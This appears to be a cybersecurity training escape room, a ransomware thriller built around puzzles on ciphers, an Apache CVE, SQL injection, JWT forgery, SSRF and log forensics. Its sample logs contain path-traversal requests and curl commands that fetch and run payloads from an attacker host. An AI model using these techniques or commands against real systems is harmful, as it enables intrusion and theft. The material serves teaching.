CAPSTONE · HARD MODE

The Hollow Tower

Ten stages, one breach, ninety minutes. Caesar to console — everything you've learned will be tested.

Prologue: 11:47 PM

Setup

Saturday, 11:47 PM. Your phone screams.

PagerDuty: RANSOMWARE_INDICATORS — multiple production hosts. EDR has gone dark on fourteen endpoints. The CFO's laptop. The CEO's laptop. Three database servers. The badge reader at the front door is dead. The night guard is slumped over the desk, pupils blown, coffee cup still warm.

Three weeks ago, Dr. Elena Voss resigned. Director of Cyber Threat Intelligence for six years. Walked out of a meeting with the CISO and never came back. Wouldn't return texts.

Last night a courier delivered a USB drive to your apartment. No return address. Inside: a single file named ELENA.html. You open it on the SOC workstation. The countdown starts.

Rules. Ten stages. Ninety minutes. No external hints — you have only what Elena left you, what you remember from class, and whatever you can puzzle out. The escape room enforces nothing — if you cheat, you cheat yourself.

Stage 1: The Note

Crypto / Substitution
Elena's signature is the first thing. She always loved old codes. The kind of thing she'd quiz you on at lunch when you were the new analyst and she was the boss.
Evidence · encoded note on the USB drive Decode the message. What is the operation codename?
VWLYHAPVU KHYR. YVNBL ZLYCLY HA 10.13.37.42 WVYA 4096. DHAJO MVY AOL IPYKZ.
What is the operation codename?
✓ Fragment recovered

Stage 2: Reconnaissance

Network / CVE
You SSH into Elena's old analyst jumpbox. From there you can reach the rogue server. You run nmap.
Evidence · nmap fingerprint Identify the version. Look up the critical vulnerability. What is the CVE number?
$ nmap -sV 10.13.37.42 -p 4096 Starting Nmap 7.94 ( https://nmap.org ) Nmap scan report for 10.13.37.42 Host is up (0.002s latency). PORT STATE SERVICE VERSION 4096/tcp open http Apache httpd 2.4.49 ((Unix)) Service detection performed. Done.
Critical CVE for this Apache version (format: CVE-YYYY-NNNNN)
✓ Fragment recovered

Stage 3: The Honeypot

SQL Injection
Inside the rogue server, Elena left a login form. She'd set it up to honeypot the attacker but also left it the way she always taught: "the data is the code, until proven otherwise."
Evidence · login form · query revealed by debug error Backend query: SELECT username FROM users WHERE username='[U]' AND password='[P]'. Bypass authentication. The page returns the username of whoever logged in.
[ no attempt yet ]
Bypass the login. Inputs are joined into the query literally.
✓ Fragment recovered

Stage 4: None of the Above

JWT Forgery
The session token gives you read-only access. The admin panel demands role:admin. Elena's notes mention alg:none three times, underlined twice.
Evidence · your current JWT (role:user) Forge a token that the panel will accept. The verifier honors any algorithm declared in the header.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ2FtbWFfYWRtaW4iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxOTQ1MjA1Mn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Paste your forged token below. Three dot-separated parts. Trailing dot if no signature.
✓ Fragment recovered

Stage 5: The Preview Pane

SSRF
The admin panel has an image preview feature. The kind of thing past-Elena would call "the kind of feature that ends careers."
Evidence · cloud-hosted server · image preview fetches the URL you supply Reach the instance metadata service. The endpoint is the same on every AWS-hosted machine — an IP every cloud engineer has memorized. Fetch the IAM credentials.
Enter a URL the preview will fetch. The cloud will return its leaked credentials.
✓ Fragment recovered

Stage 6: Comms Password

Hash Cracking
Elena's notes contain a SHA-256 hash labeled "comms password." Last week she sent you an email with seven candidate wifi names she was considering. You ignored it. Lucky for you, it's still in your inbox.
Evidence · target hash (SHA-256) db7ed3094aa905264b51d3955f4096f25e3bc504cbb25ca54b9e40878c35c604

Elena's email · candidate words (one of these matches the hash) jericho · blackbird · treadstone · vortex · phantom · watchtower · riptide
Crack it. Which candidate produces this hash?
✓ Fragment recovered

Stage 7: The Chronology

Log Forensics
Elena dumped the auth logs from the compromised jumpbox before she lost access. She labeled the file the chronology. Find when the attacker first escalated to root.
Task Identify the timestamp of the first successful privilege escalation by an unauthorized account. Format: HH:MM (24-hour, colons).
/var/log/auth.log (excerpt, sorted by time) Mar 14 20:12:48 jumpbox sshd[842]: Accepted publickey for elena from 10.50.4.18 port 51001 Mar 14 20:14:33 jumpbox sudo: elena : TTY=pts/0 ; PWD=/home/elena ; USER=root ; COMMAND=/usr/bin/tail -f /var/log/messages Mar 14 21:34:08 jumpbox sshd[1247]: Accepted password for elena from 203.0.113.45 port 51382 Mar 14 21:48:12 jumpbox sshd[1318]: Failed password for invalid user admin from 198.51.100.7 port 33098 Mar 14 21:48:14 jumpbox sshd[1318]: Failed password for invalid user admin from 198.51.100.7 port 33098 Mar 14 21:48:17 jumpbox sshd[1318]: Failed password for invalid user admin from 198.51.100.7 port 33098 Mar 14 22:18:45 jumpbox sshd[1532]: Accepted password for backup from 203.0.113.45 port 51920 Mar 14 22:18:51 jumpbox sudo: backup : TTY=pts/1 ; PWD=/var/backups ; USER=root ; COMMAND=/usr/bin/rsync /backups/ s3://archive Mar 14 23:12:33 jumpbox sshd[1721]: Failed password for root from 198.51.100.7 port 33421 Mar 14 23:12:48 jumpbox sshd[1721]: Failed password for root from 198.51.100.7 port 33425 Mar 14 23:35:07 jumpbox sshd[1812]: Accepted password for gamma_admin from 10.13.37.42 port 51234 Mar 14 23:35:22 jumpbox sudo: gamma_admin : TTY=pts/2 ; PWD=/home/gamma_admin ; USER=root ; COMMAND=/bin/ls /etc Mar 14 23:47:00 jumpbox sshd[1855]: Accepted password for gamma_admin from 198.51.100.7 port 33508 Mar 14 23:47:15 jumpbox sudo: gamma_admin : TTY=pts/3 ; PWD=/home/gamma_admin ; USER=root ; COMMAND=/bin/bash Mar 14 23:47:18 jumpbox systemd-logind: New session 47 of user gamma_admin Mar 14 23:51:02 jumpbox sudo: gamma_admin : TTY=pts/3 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/curl -O http://198.51.100.7/payload.sh
/var/log/apache2/access.log (excerpt) 10.50.4.18 - - [14/Mar/2025:20:14:48 -0400] "GET /admin HTTP/1.1" 200 4821 "-" "Mozilla/5.0" 10.50.4.18 - - [14/Mar/2025:20:15:02 -0400] "GET /reports/2025-q1.pdf HTTP/1.1" 200 89234 "-" "Mozilla/5.0" 203.0.113.45 - - [14/Mar/2025:21:34:18 -0400] "GET /login HTTP/1.1" 200 1247 "-" "curl/8.2.1" 198.51.100.7 - - [14/Mar/2025:22:05:01 -0400] "GET /?file=../../../etc/passwd HTTP/1.1" 403 412 "-" "Mozilla/5.0" 198.51.100.7 - - [14/Mar/2025:22:05:18 -0400] "GET /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1" 200 1247 "-" "Mozilla/5.0" 198.51.100.7 - - [14/Mar/2025:22:05:42 -0400] "POST /cgi-bin/.%2e/.%2e/bin/sh HTTP/1.1" 200 84 "-" "Mozilla/5.0" 198.51.100.7 - - [14/Mar/2025:22:18:01 -0400] "GET /admin HTTP/1.1" 401 421 "-" "Mozilla/5.0" 198.51.100.7 - - [14/Mar/2025:23:35:01 -0400] "POST /login HTTP/1.1" 302 0 "-" "curl/8.2.1" 198.51.100.7 - - [14/Mar/2025:23:35:14 -0400] "GET /admin/users HTTP/1.1" 200 8420 "-" "curl/8.2.1" 198.51.100.7 - - [14/Mar/2025:23:46:55 -0400] "POST /login HTTP/1.1" 200 0 "-" "curl/8.2.1" 198.51.100.7 - - [14/Mar/2025:23:47:10 -0400] "GET /admin/exec?cmd=whoami HTTP/1.1" 200 5 "-" "curl/8.2.1"
Host telemetry (sysmon, summarized) Mar 14 22:05 -- proc=/bin/sh ppid=apache user=www-data cmdline="/bin/sh -c id" Mar 14 22:05 -- proc=/usr/bin/id ppid=sh user=www-data result="uid=33(www-data) gid=33(www-data)" Mar 14 22:06 -- proc=/usr/bin/curl ppid=sh user=www-data cmdline="curl 198.51.100.7/stage1.sh -o /tmp/.x" Mar 14 22:06 -- file_write: /tmp/.x (sha256=ab3...) user=www-data Mar 14 22:07 -- proc=/tmp/.x ppid=sh user=www-data [NEW BINARY EXECUTED] Mar 14 22:09 -- network: outbound tcp 198.51.100.7:443 sustained for 9 minutes Mar 14 23:35 -- proc=/usr/bin/ssh ppid=.x user=www-data cmdline="ssh gamma_admin@10.13.37.42" (lateral) Mar 14 23:47 -- proc=/bin/bash ppid=sudo user=root cmdline="/bin/bash" [SHELL AS ROOT] Mar 14 23:51 -- proc=/usr/bin/curl ppid=bash user=root cmdline="curl 198.51.100.7/payload.sh" Mar 14 23:52 -- proc=/tmp/payload.sh ppid=bash user=root [RANSOMWARE STAGE 1]
When did the attacker first run a shell as root? (HH:MM, 24-hour)
✓ Fragment recovered

Stage 8: The Polyalphabet

Vigenère
Elena's most secret messages were always Vigenère. She picked the key from your most recent meaningful conversation. What was your last conversation about? Her son.
Evidence · Vigenère-encrypted text · key = the word you cracked in stage 6 Decode the message. Name the traitor.
MYITUSBHBVBJZOVK
Hint: Vigenère — each plaintext letter shifted by the corresponding key letter (key repeated to match length). Cipher letter = (plain + key) mod 26.
Name the traitor.
✓ Fragment recovered

Stage 9: Ask the Console

DevTools
Elena left one last thing in this page. Her note: "When in doubt, ask the console. The page has secrets only DevTools can see. The codeword is the one you'd remember from our last lunch."
Task Open your browser's developer tools. View the page source. Find the function elena(codeword) and call it with the right argument. The result is the fragment.
F12 opens DevTools in most browsers. Ctrl+U (Cmd+Opt+U on Mac) views page source. The codeword is hidden in this page.
Enter the fragment returned by Elena's function.
✓ Fragment recovered

Stage 10: The Killswitch

Final Assembly
Elena's final note: "You'll have nine pieces. The order you collected them in is the order they belong. Hyphens between each. Lowercase, uppercase — doesn't matter to the killswitch. But every fragment must be present, exactly as you found it."
Task Combine your nine fragments in stage order, separated by hyphens. Submit to halt the ransomware.
Enter the killswitch passcode.

The Tower Holds.

Killswitch detonated. Encryption halted. Seventy-four hundred endpoints saved.

--:--
Time
Rank
10/10
Stages

03:14 AM. You walk out at dawn. CISO Voss is being escorted out of the executive lobby by two FBI agents and a third person who looks like Bureau Counterintelligence. He doesn't see you.

The night guard is sitting up, drinking water, asking what year it is.

Elena Voss left no contact information. But on your way to the parking lot, a single sticky note is on your windshield:

"You did good, kid. — E"

03:17 AM — Encryption Complete.

The ransomware finished its work. Seventy-four hundred endpoints. Five years of operational data. The board meeting is at 7 AM. You'll be the one explaining what happened.

Elena's sticky note on your windshield reads: "Closer than last time. — E"